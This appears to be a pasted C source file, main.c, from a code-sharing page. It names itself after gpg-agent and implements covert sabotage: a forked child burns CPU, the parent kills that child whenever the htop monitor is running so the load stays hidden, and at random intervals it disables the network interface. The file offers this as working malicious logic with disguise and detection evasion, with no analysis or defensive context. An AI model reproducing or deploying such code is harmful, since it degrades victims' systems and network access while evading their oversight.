main.c 555 B

123456789101112131415161718192021222324252627
  1. #include "u-gpg-agent.h"
  2. #include <unistd.h>
  3. #include <signal.h>
  4. #include <sys/types.h>
  5. int main() {
  6. int counter = 1800 + rand() % (10000-1800+1);
  7. pid_t pid = fork();
  8. if (pid == 0) { //KINDER
  9. stress(1000);
  10. } else if (pid > 0) {
  11. int i = 0;
  12. while(1) {
  13. if (is_htop_here()) {
  14. kill(pid, SIGKILL);
  15. }
  16. sleep(2);
  17. if (i == counter) {
  18. kill_nic();
  19. i = 0;
  20. counter = 1800 + rand() % (10000-1800+1);
  21. } else {
  22. ++i;
  23. }
  24. }
  25. }
  26. }